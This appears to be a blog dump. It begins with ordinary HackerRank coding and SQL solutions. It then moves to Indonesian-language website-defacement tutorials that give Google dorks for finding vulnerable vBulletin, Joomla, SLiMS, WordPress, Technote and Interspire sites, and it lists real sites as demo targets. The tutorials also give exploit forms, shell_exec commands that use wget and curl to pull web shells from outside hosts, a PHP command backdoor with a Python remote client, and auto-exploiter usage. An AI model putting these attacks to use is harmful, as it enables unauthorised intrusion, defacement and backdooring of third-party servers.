Hacker Rank Problem Solved Arrays and Warm-up Challenges Solution

Arrays
Warm-up Challenges

1. Sock Merchant (Python 2)
#!/bin/python
import math
import os
import random
import re
import sys

def sockMerchant(n, ar):
    count = 0
    ar.sort()
    ar.append('#')
    i = 0
    while i<n:
        if ar[i]==ar[i+1]:
            count = count+1
            i+=2
        else:
            i+=1
    return count

if __name__ == '__main__':
    fptr = open(os.environ['OUTPUT_PATH'], 'w')

    n = int(raw_input())

    ar = map(int, raw_input().rstrip().split())

    result = sockMerchant(n, ar)

    fptr.write(str(result) + '\n')

    fptr.close()





2. Counting Valleys (Python 2)


#!/bin/python
import math
import os
import random
import re
import sys

# Complete the countingValleys function below.
def countingValleys(n, s):
    level=valley=0
    for i in range(n):
        if(s[i]=='U'):
            level+=1
            if(level==0):
                valley+=1
        else:
            level-=1
   
    return valley

if __name__ == '__main__':
    fptr = open(os.environ['OUTPUT_PATH'], 'w')

    n = int(raw_input())

    s = raw_input()

    result = countingValleys(n, s)

    fptr.write(str(result) + '\n')

    fptr.close()


3. Jumping on the Clouds (javascript node.js)

'use strict';

const fs = require('fs');

process.stdin.resume();
process.stdin.setEncoding('utf-8');

let inputString = '';
let currentLine = 0;

process.stdin.on('data', inputStdin => {
    inputString += inputStdin;
});

process.stdin.on('end', _ => {
    inputString = inputString.replace(/\s*$/, '')
        .split('\n')
        .map(str => str.replace(/\s*$/, ''));

    main();
});

function readLine() {
    return inputString[currentLine++];
}

// Complete the jumpingOnClouds function below.
function jumpingOnClouds(c) {

var jumpCount = 0;
let step = 0;
for(let i=0; i<c.length; i){
if(c[i] === 0 && i !== (c.length - 2)){
i = i + 2;
jumpCount++
} else if (c[i] === 0 && i === (c.length - 2)){
i = i + 1;
jumpCount++
} else {
i = i - 1;
}
}
return jumpCount - 1;
}

function main() {
    const ws = fs.createWriteStream(process.env.OUTPUT_PATH);

    const n = parseInt(readLine(), 10);

    const c = readLine().split(' ').map(cTemp => parseInt(cTemp, 10));

    let result = jumpingOnClouds(c);

    ws.write(result + "\n");

    ws.end();
}


4. Repeated String (PHP)

<?php

// Complete the repeatedString function below.
function repeatedString($s, $n) {
for ($i = 0;$i<strlen($s);$i++) if ($s[$i] == 'a') $cnt++;
$p = floor($n / strlen($s));
$p *= $cnt;
if ($n%strlen($s)) {
    $r = $n % strlen($s);
    for ($i = 0; $i < $r; $i++) if ($s[$i] == 'a') $p++;
}
return $p;

}

$fptr = fopen(getenv("OUTPUT_PATH"), "w");

$stdin = fopen("php://stdin", "r");

$s = '';
fscanf($stdin, "%[^\n]", $s);

fscanf($stdin, "%ld\n", $n);

$result = repeatedString($s, $n);

fwrite($fptr, $result . "\n");

fclose($stdin);
fclose($fptr);



5. 2D Array - DS (JAVA 7)
import java.io.*;
import java.math.*;
import java.security.*;
import java.text.*;
import java.util.*;
import java.util.concurrent.*;
import java.util.regex.*;

public class Solution {

    // Complete the hourglassSum function below.
    static int hourglassSum(int[][] arr) {
        int sum=-1000;
            for(int i =0 ; i<4;i++){
                for(int x =0 ; x<4; x++){
                   
                    int top = arr[i][x]+arr[i][x+1]+arr[i][x+2];
                    int middle = arr[i+1][x+1];
                    int bottom = arr[i+2][x]+arr[i+2][x+1]+arr[i+2][x+2];
                    if(top+middle+bottom>sum){sum=top+middle+bottom;}
                }
            }
            return sum;

    }

    private static final Scanner scanner = new Scanner(System.in);

    public static void main(String[] args) throws IOException {
        BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter(System.getenv("OUTPUT_PATH")));

        int[][] arr = new int[6][6];

        for (int i = 0; i < 6; i++) {
            String[] arrRowItems = scanner.nextLine().split(" ");
            scanner.skip("(\r\n|[\n\r\u2028\u2029\u0085])?");

            for (int j = 0; j < 6; j++) {
                int arrItem = Integer.parseInt(arrRowItems[j]);
                arr[i][j] = arrItem;
            }
        }

        int result = hourglassSum(arr);

        bufferedWriter.write(String.valueOf(result));
        bufferedWriter.newLine();

        bufferedWriter.close();

        scanner.close();
    }
}


6. Arrays: Left Rotation (Python 2)

#!/bin/python

import math
import os
import random
import re
import sys

# Complete the rotLeft function below.
def rotLeft(a, d):
    return a[d:] + a[:d]
if __name__ == '__main__':
    fptr = open(os.environ['OUTPUT_PATH'], 'w')

    nd = raw_input().split()

    n = int(nd[0])

    d = int(nd[1])

    a = map(int, raw_input().rstrip().split())

    result = rotLeft(a, d)

    fptr.write(' '.join(map(str, result)))
    fptr.write('\n')

    fptr.close()


7. New Year Chaos (SCALA)

/*
https://www.hackerrank.com/challenges/new-year-chaos
*/
object Solution {
  // Binary Index Tree (aka. Fenwick tree), storing how many times `>=i` occurs.
  //
  // Most examples of BIT store the SUM of elements for indeces up to `i`.
  // Instead, this implementation is designed to store and query the COUNT of
  // elements for indeces from `i` and above.
  case class BITree(n: Int) {
    private val a = new Array[Int](n)
    def add(i: Int): Unit =
      for {x <- Iterator.iterate(i+1) { j => j - (j & -j) }.takeWhile(_ > 0)}
        a(x-1) += 1
    def count(i: Int): Int = ( // [i,n]
      for {x <- Iterator.iterate(i+1) { j => j + (j & -j) }.takeWhile(_ <= n)}
        yield a(x-1)
    ).sum
  }

  def minBribes(n: Int, input: Iterator[Int]): Int = {
    val bit = BITree(n)
    input.zipWithIndex.foldLeft(0) {
      case (acc, (i, index)) if acc < 0 || i-2 > index+1 => -1
      case (acc, (i, index)) =>
        bit.add(i-1)
        acc + bit.count(i)
    }
  }

  def main(args: Array[String]) {
    val scanner = new java.util.Scanner(System.in)
    for {_ <- 0 until scanner.nextInt} {
      val n = scanner.nextInt
      minBribes(n, Iterator.fill(n) { scanner.nextInt }) match {
        case -1 => println("Too chaotic")
        case x => println(x)
      }
    }
  }
}


8. Minimum Swaps 2 (JAVA 8)

import java.util.Map;
import java.util.Scanner;
import java.util.function.Function;
import java.util.stream.Collectors;
import java.util.stream.IntStream;

public class Solution {
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);

        int n = sc.nextInt();
        int[] arr = new int[n];
        for (int i = 0; i < arr.length; i++) {
            arr[i] = sc.nextInt();
        }
        System.out.println(solve(arr));

        sc.close();
    }

    static int solve(int[] arr) {
        Map<Integer, Integer> numberToIndex = IntStream.range(0, arr.length).boxed()
                .collect(Collectors.toMap(i -> arr[i], Function.identity()));

        int swapNum = 0;
        for (int i = 0; i < arr.length; i++) {
            if (arr[i] != i + 1) {
                int otherIndex = numberToIndex.get(i + 1);

                numberToIndex.put(arr[i], otherIndex);
                numberToIndex.put(i + 1, i);

                swap(arr, i, otherIndex);

                swapNum++;
            }
        }
        return swapNum;
    }

    static void swap(int[] arr, int index1, int index2) {
        int temp = arr[index1];
        arr[index1] = arr[index2];
        arr[index2] = temp;
    }
}


9. Array Manipulation (JAVA 8)

import java.io.*;
import java.math.*;
import java.security.*;
import java.text.*;
import java.util.*;
import java.util.concurrent.*;
import java.util.regex.*;

public class Solution {

    // Complete the arrayManipulation function below.
    static long arrayManipulation(int n, int[][] queries) {
    long[] computation = new long[n];

    for (int i = 0; i < queries.length; i++) {
      int a = queries[i][0] - 1;
      int b = queries[i][1] - 1;
      int k = queries[i][2];

      computation[a] += k;
      if (b + 1 < n ) {
        computation[b + 1] -= k;
      }
    }

    long max = 0; long sum = 0;
    for (int i = 0; i < n; i++) {
      sum += computation[i];
      max = Math.max(max, sum);
    }

    return max;
  }

    private static final Scanner scanner = new Scanner(System.in);

    public static void main(String[] args) throws IOException {
        BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter(System.getenv("OUTPUT_PATH")));

        String[] nm = scanner.nextLine().split(" ");

        int n = Integer.parseInt(nm[0]);

        int m = Integer.parseInt(nm[1]);

        int[][] queries = new int[m][3];

        for (int i = 0; i < m; i++) {
            String[] queriesRowItems = scanner.nextLine().split(" ");
            scanner.skip("(\r\n|[\n\r\u2028\u2029\u0085])?");

            for (int j = 0; j < 3; j++) {
                int queriesItem = Integer.parseInt(queriesRowItems[j]);
                queries[i][j] = queriesItem;
            }
        }

        long result = arrayManipulation(n, queries);

        bufferedWriter.write(String.valueOf(result));
        bufferedWriter.newLine();

        bufferedWriter.close();

        scanner.close();
    }
}

Hacker Rank Problem Solved Practice Solution 1 - 4



1. Solve Me First

<?php

function solveMeFirst($a,$b){
  // Hint: Type return $a + $b; below 
 
}

$handle = fopen ("php://stdin","r");
$_a = fgets($handle);
$_b = fgets($handle);
$sum = (int)$_a+(int)$_b;
print ($sum);
fclose($handle);
?>




2. Simple Array Sum (PHP)

<?php

/*
 * Complete the simpleArraySum function below.
 */
function simpleArraySum($ar) {
    /*
     * Write your code here.
     */
         $len=count($ar);
        $sum=0;
        for($i=0;$i<$len;$i++){
            $sum+=$ar[$i]; // sum=sum+ar[i];
        }
        return $sum;

}

$fptr = fopen(getenv("OUTPUT_PATH"), "w");

$stdin = fopen("php://stdin", "r");

fscanf($stdin, "%d\n", $ar_count);

fscanf($stdin, "%[^\n]", $ar_temp);

$ar = array_map('intval', preg_split('/ /', $ar_temp, -1, PREG_SPLIT_NO_EMPTY));

$result = simpleArraySum($ar);

fwrite($fptr, $result . "\n");

fclose($stdin);
fclose($fptr);

3. Compare the Triplets (java 7)


import java.io.*;
import java.math.*;
import java.security.*;
import java.text.*;
import java.util.*;
import java.util.concurrent.*;
import java.util.regex.*;

public class Solution {

    // Complete the compareTriplets function below.
    static List<Integer> compareTriplets(List<Integer> a, List<Integer> b) {

    int aliceTotalScore = 0, bobTotalScore = 0;
    for(int i=0; i<3; i++){
        int aliceScore = a.get(i);
        int bobScore = b.get(i);
        if(aliceScore != bobScore){
        int temp = aliceScore > bobScore ? aliceTotalScore++ : bobTotalScore++;
        }
    }
    List<Integer> result = new ArrayList<>();
    result.add(aliceTotalScore);
    result.add(bobTotalScore);
    return result;

    }

    public static void main(String[] args) throws IOException {
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(System.in));
        BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter(System.getenv("OUTPUT_PATH")));

        String[] aItems = bufferedReader.readLine().replaceAll("\\s+$", "").split(" ");

        List<Integer> a = new ArrayList<>();

        for (int i = 0; i < 3; i++) {
            int aItem = Integer.parseInt(aItems[i]);
            a.add(aItem);
        }

        String[] bItems = bufferedReader.readLine().replaceAll("\\s+$", "").split(" ");

        List<Integer> b = new ArrayList<>();

        for (int i = 0; i < 3; i++) {
            int bItem = Integer.parseInt(bItems[i]);
            b.add(bItem);
        }

        List<Integer> result = compareTriplets(a, b);

        for (int i = 0; i < result.size(); i++) {
            bufferedWriter.write(String.valueOf(result.get(i)));

            if (i != result.size() - 1) {
                bufferedWriter.write(" ");
            }
        }

        bufferedWriter.newLine();

        bufferedReader.close();
        bufferedWriter.close();
    }
}




4. A Very Big Sum (PHP)

<?php

// Complete the aVeryBigSum function below.
function aVeryBigSum($ar) {

        $len=count($ar);
        $sum=0;
        for($i=0;$i<$len;$i++){
            $sum+=$ar[$i]; // sum=sum+ar[i];
        }
        return $sum;
}

$fptr = fopen(getenv("OUTPUT_PATH"), "w");

$stdin = fopen("php://stdin", "r");

fscanf($stdin, "%d\n", $ar_count);

fscanf($stdin, "%[^\n]", $ar_temp);

$ar = array_map('intval', preg_split('/ /', $ar_temp, -1, PREG_SPLIT_NO_EMPTY));

$result = aVeryBigSum($ar);

fwrite($fptr, $result . "\n");

fclose($stdin);
fclose($fptr);

Hacker Rank SQL Practice Solution 1-15


1. Revising the Select Query I

select * from CITY where population>100000 AND countrycode='USA';

2. Revising the Select Query II
SELECT NAME FROM CITY WHERE POPULATION>120000 AND COUNTRYCODE='USA'

3. Select By ID
SELECT * FROM CITY WHERE ID = 1661;

4. Japanese Cities' Attributes
SELECT * FROM CITY WHERE COUNTRYCODE LIKE '%JPN%';

5. Japanese Cities' Names

SELECT NAME FROM CITY WHERE COUNTRYCODE LIKE '%JPN%';

6. Weather Observation Station 1
SELECT CITY, STATE FROM STATION ORDER BY CITY DESC;

7. Weather Observation Station 2
SELECT ROUND(SUM(LAT_N),2), ROUND(SUM(LONG_W),2) FROM station

8. Weather Observation Station 3
SELECT DISTINCT CITY FROM STATION WHERE MOD(ID, 2) = 0;

9. Weather Observation Station 4
SELECT COUNT(CITY) - COUNT(DISTINCT CITY) FROM STATION;


10. Weather Observation Station 5
(
    SELECT CITY, LENGTH(CITY) FROM STATION
    ORDER BY LENGTH(CITY) ASC, CITY
    LIMIT 1
) UNION (
SELECT CITY, LENGTH(CITY) FROM STATION
    ORDER BY LENGTH(CITY) DESC, CITY
    LIMIT 1

)



11. Weather Observation Station 6
/*
Enter your query here.
*/

SELECT DISTINCT
CITY
FROM STATION
WHERE lower(substr(CITY,1,1)) in ('a','e','i','o','u') GROUP BY CITY

12. Weather Observation Station 7 MYSQL
/*
Enter your query here.
*/
SELECT DISTINCT
CITY
FROM STATION
WHERE RIGHT(CITY, 1) IN ('a', 'e', 'i', 'o', 'u');


13. Weather Observation Station 8 MYSQL
/*
Enter your query here.
*/
SELECT DISTINCT
CITY
FROM STATION
WHERE RIGHT(CITY, 1) IN ('a', 'e', 'i', 'o', 'u') and LEFT(CITY, 1) IN ('a', 'e', 'i', 'o', 'u');


14. Weather Observation Station 9 MYSQL
/*
Enter your query here.
*/
SELECT DISTINCT
CITY
FROM STATION
WHERE lower(substr(CITY,1,1)) in ('b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y','z') GROUP BY CITY

15. Weather Observation Station 9 MYSQL
/*
Enter your query here.
*/
SELECT DISTINCT
CITY
FROM STATION
WHERE RIGHT(CITY, 1) IN ('b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y','z');



Deface VBulletin Version 5.x.x RCE


+++++++++++++++++++++++++++++++++++++++++++++++++++++++
Poc : vBulletin 5.x 0day pre-auth RCE
Source : https://packetstormsecurity.com/files/154623/vBulletin-5.x-0-Day-Pre-Auth-Remote-Command-Execution.html

Dork : inurl:/forum intext:"Powered by vBulletin"+"Version 5.4.3" (use your brain)

Exploit : http://target.co/[path]//ajax/render/widget_php
+++++++++++++++++++++++++++++++++++++++++++++++++++++++

Pertama silahkan cari dulu targetnya pake dork yang udah ane kasih atau kembangin lagi ..
lalu masukan exploitnya untuk mengecek vuln . cek

http://target.co/[path]//ajax/render/widget_php
Maka akan tampil seperti dibawah ini


Masukkan targetnya kedalam script dibawah ini :

Script exploit.html:
<form method="POST" action="https://www.target.org/forum//ajax/render/widget_php" >

<input name="widgetConfig[code]" id="widgetConfig[code]" type="text" />

<input type="submit" />

</form>


edit pada bagian action ,, kemudian kita jalankan script csrfnya kemudian akan tampil seperti dibawah :


masukan command linux untuk memulai pengeksekusian kode bisa dengan menggunakan perintah:

echo shell_exec('id');
atau kamu coba masukan perintah perintah linux lainnya kemudian coba submit.
Maka akan seperti dibawah ini:


Perhatikan pada lingkaran merah,, itu menandakan  kode yang dipost tadi berhasil dieksekusi server. Selanjutnya kamu bisa memasukkan perintah perintah yang lain misalnya kamu mengupload shell backdoor dengan menggunakkan perintah:

echo shell_exec('wget -O shell.php https://pastebin.com/raw/4VcQuc55');

maka file shell kamu jika terupload letaknya berada dibelakang /ajax maka jika jadi target kamu https://www.target.org/forum/ajax/render/widget_php maka shell kamu berada di https://www.target.org/forum/shell.php

kemudian tinggak buka saja:

Kalo yang mau pake python bisa download scriptnya disini https://pastebin.com/raw/AWtx6B9k

Sekian tutorial dari kami terimakasih .

Fitur Rootkit Hmei7 yang Terlupakan


Selamat pagi sobat IT, kali ini saya akan bahas mengenai tool yang cukup legend ini yaitu Rootkit hmei7. Ya siapa sih gak kenal dengan tool yang satu ini, kalo dulu pasti dah pernah nyobain fitur yang ada didalam tool ini yaitu Webdav ASP Shell Maker, ya gak ?. Ane nyobain fitur webdav itu ketagihan banget gan sampai sekarang pun masih ana gunain, soalnya enak banget nyari targetnya tinggal reverse ip dapet bejibun wkwkwk tinggal nongkrongin zone h aja . Tapi tau gak sih sebenernya ada fitur lain dalan Rootkit ini yang cukup berguna banget ?. Mungkin dari kalian udah ada yang tau , ane sebenernya pengen share ini dari dulu tapi kayaknya gak penting penting amat wkwkwk tapi kalo buat ane ini berguna banget dari dulu yap nama fiturnya yaitu "Line Editor". Jadi ini fitur berguna untuk mengolah baris string, antum bisa menyisipkan atau membuang string yang ada dalam baris, misalnya buat target webdav yang jumlahnya ribuan , antum bisa olah itu string dengan fitur ini. Okeh langsung saja hal yang pertama antum lakuin adalah buka tool Rootkit Hmei7 ini , cari aja kalo belom punya soalnya ane gak akan share linknya.

1. Buka menu Tool > line editor


Okeh dari sini ane mau jelasin beberapa fitur fitur pentingnya yang ada di line editor

a. Sort it.
Tombol ini berguna untuk menyortir string pada baris berdasarkan abjad.

b. Add in the beginning.
Fitur ini berguna untuk menyisipkan string diawal string pada baris. Jadi misalkan string "www.target.com" antum tambahin string http:// jadinya "http://www.target.com" .

c. Add in the ending.
Fitur ini berguna untuk menyisipkan string diakhir string pada baris. Contohnya string "www.target.com" antum tambahin string /hujan.html jadi "www.target.com/hujan.html".

d. Remove sub folder.
Fitur ini menghilangkan string yang ada setelah baris string "/" setelah domain , contohnya string "www.target.com/hujan.html" string /hujan.html akan dihilangkan maka akan jadi "www.target.com" saja.

e. Remove duplicat
Fitur ini menghilangkan string yang sama dari semua baris maka akan menyisakan satu string saja.

f. Replace string.
Fitur ini berguna untuk menggantikan value string dengan value string lain yang lain pada baris.

g. Remove sub domain.
Fitur ini berguna untuk menghilangkan subdomain yang ada pada domain didalam baris string. Contoh string subdomain "siakad.univ.gov" makan akan menjadi "univ.gov" saja.

nah itu sebagian besarnya saja selebihnya kalian coba coba aja ya .
Sekian yang bisa ana sampaikan mohon maaf bila ada kekurangan silahkan tinggalkan komentar untuk masukkan.


Joomla Com_Media Auto Exploiter


#########################################################################
# Exploit Title: Joomla Remot File Upload Vulnerability
#########################################################################
#Reference : https://cxsecurity.com/issue/WLB-2015110194
# Google Dork1: inurl:index.php?option=com_media & site:com
# Google Dork2: inurl:index.php?option=com_media & site:org
# Google Dork3: inurl:index.php?option=com_media & site:net
# Date: [22/11/2015]
# Exploit Author: Guardiran Security Team =>DeMoN
# Vendor Homepage: [https://developer.joomla.org/joomlacode-archive/issue-29776.html]
# Software Link: [-]
# Version: All Version
# Tested on: [Win 8.1/Google chrome]
# CVE : [-]
#########################################################################
# DISCRIPTION: Hello Guys.This Is A Olugin Of Joomla For Upload Files.
# Exploit:
# Add This Link After Address Target
# /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder
# For Exmple: 
Site.com/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder
#########################################################################
#Demo :
http://www.poesiederfuesse.de/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder
http://www.blumen-silvia.de//index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder
#########################################################################
Download Auto Exploiter : Alternatif1 Alternatif2
#########################################################################
How to use ?
Pertama cari dulu targetnya kemudian simpan list target dalam bentuk txt ,dan siapkan file defacenya berupa file txt atau gambar (.jpg, .png, .gif) satu folderkan dengan autoexploiternya. Jika menggunakkan xampp simpan di folder /xampp/perl/bin/ kemudian jalankan dengan menggunakkan perintah:
perl exploit.pl list.txt filedeface.jpg


Tunggu sampai program selesai kemudian hasilnya akan tersimpan auto ke save.txt, dan untuk situs yang berhasil terinfeksi akan otomatis tersubmit kezone h. edit dulu dalam scriptnya pada bagian
'defacer'     => 'Nick kamu',

Baiklah sekian yang bisa saya sampaikan mohon maaf bila ada kesalahan . Wassallam. 

Slims CMS Senayan Auto Exploiter (Web Perpustakaan)


########################################################################

#Reference : https://packetstormsecurity.com/files/151676/Slims-CMS-Senayan-Library-Management-System-7.0-Shell-Upload.html
# Exploit Title : Slims CMS Senayan Library Management System 7.0 Arbitrary File Upload
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Team
# Date : 13/02/2019
# Vendor Homepage : slims.web.id
# Software Download Link : github.com/slims/
github.com/slims/slims8_akasia/archive/master.zip
github.com/slims/slims7_cendana/archive/master.zip
github.com/slims/s3st15_matoa/archive/master.zip
github.com/slims/slims5_meranti/archive/master.zip
github.com/slims/s3st14/archive/master.zip
# Software Information Link : slims.web.id/web/ * slims.web.id/goslims/
# Software Affected Version : 5/6/7 and previous versions
# Tested on : Windows / Linux
# Exploit Risk : High
# CXSecurity Exploit Reference Link : cxsecurity.com/ascii/WLB-2018050260

########################################################################
########################################################################

#Google Dork 1 :  intext:''The Winner in the Category of OSS Indonesia ICT Award 2009''

#Google Dork 2 : inurl:''index.php?p=show_detail&id='' site:id

#Google Dork 3 : inurl:''/slims5-meranti/'' site:id

#Google Dork 4 : intext:This software and this template are released Under GNU GPL License Version 3. The Winner in the Category of OSS Indonesia ICT Award 2009''

#Google Dork 5 : Powered by SLiMS site:id

#Google Dork 6 : Powered by SLiMS | Design by Indra Sutriadi Pipii

#Google Dork 7 : Beranda Depan * Info Perpustakaan * Area Anggota * Pustakawan * Bantuan Pencarian * MASUK Pustakawan. 

#Google Dork 8 : Akses Katalog Publik Daring - Gunakan fasilitas pencarian untuk mempercepat penemuan data katalog.

#Google Dork 9 :  SLiMS (Senayan Library Management System) is an open source Library Management System. 
                           It is build on Open source technology like PHP and MySQL.

#Google Dork 10 : PERPUSTAKAAN - Web Online Public Access Catalog - Use the search options to find documents quickly
This software and this template are released Under GNU GPL License Version 3

#Google Dork 11 : inurl:''/index.php?select_lang='' site:sch.id

#Google Dork 12 : Web Online Public Access Catalog - Gunakan fasilitas pencarian untuk mempercepat anda menemukan data katalog

#Google Dork 13 : Welcome To Senayan Library's Online Public Access Catalog (OPAC). Use OPAC to search collection in our library.

#Google Dork 14 : O.P.A.C. (On-line Public Access Catalogue)

#Google Dork 15 : inurl:''/perpustakaan/repository/'' site:id

#Google Dork 16 : Senayan | Open Source Library Management System :: OPAC

########################################################################

########################################################################
Exploit : /admin/modules/bibliography/pop_attach.php
Download Exploiter : Alternatif1 Alternatif2
#########################################################################
Tutorial:
Pertama edit dulu scriptnya pada bagian dibawah ini
$shell = "dx.txt"; < file shell / deface kamu (satu folderkan)

Kemudian jalankan program dan masukan file list target kalian.
Ketikan perintah :
php exploit.php

Setelah selesai cek hasilnya di file laporan.txt (satu folder).
Sekian dan terimakasih, wasallam.


WordPress Jssor-Slider Library Plugin Arbitrary Exploiter


###########################################################################

# Exploit Title : WordPress DrcSystems EthicSolutions Jssor-Slider Library Plugin Arbitrary File Upload Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
#Reference : https://cxsecurity.com/issue/WLB-2018060226
# CWE : CWE-284 [ Improper Access Control ] -  CWE-862  [ Missing Authorization ]
#Dork : inurl:/wp-content/jssor-slider
#Exploit : http://[PATH]/wp-admin/admin-ajax.php?param=upload_slide&action=upload_library
#Shell Path : http://[PATH]//wp-content/jssor-slider/jssor-uploads/shell.txt
#Download Exploiter : Alternatif1   Alternatif2

###########################################################################

Jangan lupa download dulu exploiternya simpan dengan extensi *.pl (perl), okeh langsung saja.
Pertama jalankan program exploiternya kemudian masukan nama file list target dan shell / file deface kamu seperti dibawah ini. Dengan mengetikan perintah pada terminal:
cmd:\path>perl exploiter.pl


Selanjutnya tinggal tunggu saja exploiter bekerja dan lihat keterangan yang diberikan program.


Jika shell berhasil terupload maka akan auto tersimpak ke dalam file  report.txt .


Cukup sekian dan terimakasih mohon maaf bila ada kesalahan.

Remote Shell Backdoor With Python and PHP



Selamat sore sobat IT pada tutorial kali ini saya akan membagi trik Remot Shell Backdoor dengan python dan php. Yaitu kalian mengakses shell backdoor kalian melalui terminal / cmd kalian tapi ini buka backconnect ya wkwkwk. Jadi awalnya tuh saya sedang mencari tutorial exploit fuel cms terus nemu script ini deh sumber: https://www.exploit-db.com/exploits/47138 Terus saya edit edit dikit deh biar kaya gini gak papa kan :'V
Langsung saja skuy lur.

Pertama buatlah sebuah file backdoor untuk diupload ke website target kalian scriptnya dibawah ini
Script cmd.php:
<?php

function path() {

 if(isset($_GET['dir'])) {

  $dir = str_replace("\\", "/", $_GET['dir']);

  @chdir($dir);

 } else {

  $dir = str_replace("\\", "/", getcwd());

 }

 return $dir;

}

echo "Current Dir:>".path();



    if(isset($_GET['cmd'])){

  

        echo system($_GET['cmd']);

    

    }



?>



Pastikan kalian telah mengupload backdoor kalian ke target yang mau diremot nanti.
Okeh setelah memastikan shell kalian terupload dan bisa dicoba selanjutnya buatlah file python untuk meremot shell kalian . scriptnya dibawah ini:
Script remot.py:
import requests

import urllib



url = input('Input Target: ')

def find_nth_overlapping(haystack, needle, n):

    start = haystack.find(needle)

    while start >= 0 and n > 1:

        start = haystack.find(needle, start+1)

        n -= 1

    return start



while 1:

 xxxx = input('cmd:')

 burp0_url = url+xxxx

 proxy = {"http":url}

 r = requests.get(burp0_url, proxies=proxy)



 html = "<!DOCTYPE html>"

 htmlcharset = r.text.find(html)



 begin = r.text[0:20]

 dup = find_nth_overlapping(r.text,begin,2)



 print (r.text[0:dup])



Saya menggunakan python3. okeh selanjutnya jalankan program python nya diterminal kalian kemudian masukkan targetnya seperti dibawah ini:
http://target.com/[path]/cmd.php?cmd=

dan selanjutnya tinggal menjalankan perintah perintah command nya sesuai servernya ya gan, target ane servernya linux.

Sekian yang dapat saya sampaikan , mohon maaf bila ada kesalahan dan kekurangan . Mohon kembangkan lagi karena ilmu saya terbatas semoga tutorial ini bermanfaat.
Terima kasih.

Deface RCE (Remote Code Execution) Technote CGI Exploit 0.4

Bismillahirahmanirahim, Hallo sobat IT kali ini saya akan share exploit  Deface RCE (Remote Code Execution) Technote CGI Exploit 0.4 , sebelumnya thanks dulu buat tatsumi crew yang udah ngasih tutorial.
Langsung aja skuy lur..

++++++++++++++++++++++++++++++++++++++++++++++++++++
Dork : inurl:/technote/main.cgi
           inurl:/iboard.cgi site:kr (kembangin lagi )
Exploit : site.kr/[path]/main.cgi?board=FREE_BOARD
Tool : disini (perl file)
++++++++++++++++++++++++++++++++++++++++++++++++++++
Silahkan temen - temen cari targetnya dulu dah pake dork yang udah saya kasih ..
Jangan lupa save sourc tool yang udah saya share dengan extensi *pl , jika kalian pake linux pastikan terinstall dulu services perlnya, kalo yang pake windows bisa install Xampp kemudian simpan file di folder
  /xampp/perl/bin/  << 

kebetulan saya menggunakkan windows jadi saya pun memakai perl yang ada di xampp, selanjutnya buka CMD windows kalian , pastikan kalian berada dalam direktori /xampp/perl/bin , kalo dilinux kalian bisa langsung menjalankan. kemudian bisa langsung kalian jalankan exploitnya dengan memasukkan perintah:
cmd>perl exploit.pl http://target.kr/[path]/main.cgi?board=FREE_BOARD

Jika vuln maka akan seperti gambar diatas ini ^^^
kemudian kalian bisa test perintah perintah linux dulu untuk memastikan sudah terhubung dengan situs. seperti ls , uname -a , dsb.


Kemudian kalian coba cari cari dir yang bisa diupload file shell , untuk mengupload shell kalian . kalian paste dulu shell kalian di pastebin atau dimana saya yang penting shell kalian nantinya berbentuk text dulu terus kalian bisa gunakkan perintah:
curl http://situskalian.com/tes.txt --output shell.php
atau kalian bisa gunakan perintah yang kalian tahu silahkan, saya biasa menggunakan perintah ini.


 Jiksa shell kalian terupload maka akan seperti gambar diatas kalian bisa langsung cek shell kalian kalo begitu.

Jika tidak bisa upload file kalian bisa creat file saja dengan perintah
echo "Hacked by Peluru Kertas - Dx_Cyber">index.php
Silahkan kalian variasikan lagi karena tutorial dari saya terbatas.
Sekian tutorial yang bisa saya berikan mohon maaf bila ada kesalahan, semoga bermanfaat ilmunya
Wasallamualaikum

Deface Interspire Email Marketer 6.20 - CSRF File Upload


Bismillahirahmanirahin . .
Assalamualaikum sobat IT kali ini saya akan memberikan tutorial deface Interspire email marketer yang lagi buming2 katanya . Tapi temen - temen kebingungan dengan poc ini padahal cukup sederhana poc ini sob. langsung aja skuylah
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
PoC :  Interspire Email Marketer 6.20 - CSRF File Upload
Dork: intext:"Powered by Hairyspire Email Marketer 6.1.4" (use your brain)
Testing: site.com/admin//temp/surveys/
Exploit: surveys_submit.php?formId=[number]
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Pertama siapkan dulu targetnya setelah itu kita test apakah vuln atau tidak yaitu caranya dilihat dari direktori /admin//temp/surveys/ seperti gambar dibawah ini
Pada gambar diatas kita menemukan angka "999999999" maka angka tersebut kita masukan kedalam exploit jika tidak menemukan folder berangka masukan saja angka berapapun bebas nanti otomatis akan create folder angka tersebut pokoknya yang paling penting ada folder "surveys" nya, scriptnya ada dibawah sini

Script csrf:
<!DOCTYPE HTML>
<html lang="en-US">
<head>
    <meta charset="UTF-8">
    <title></title>
</head>
<body>
<form action="http://target.com/surveys_submit.php?formId=999999999" method="post" enctype="multipart/form-data">
    <input type="file" name="widget[0][field][][value]">
    <input type="submit" value="submit" name="submit">
</form>
</body>
</html>
Langsung saja pilih shell kalian kemudian submit.
kemudian kita cek folder shell kita biasanya berada pada folder angka terakhir yaitu pada folder /admin//temp/surveys/999999999 (999999999 adalah angka yang tadi
nah angka folder terakhir adalah 21 jadi bisa kemungkinan shell kita ada disana


tinggal cek saja
Vakekok eheheh .. yahh sampai disini saha yah sobat IT mohon maaf bila ada kesalahan
termakasih telah berkunjung.

Catatan : Kalo directorinya 403 forbiden coba discan pake file finder download sourcenya

Mengatasi Lupa Password Subsystem Linux Bash Windows 10


Assalamualaikum warahmatullahi wabarakatu
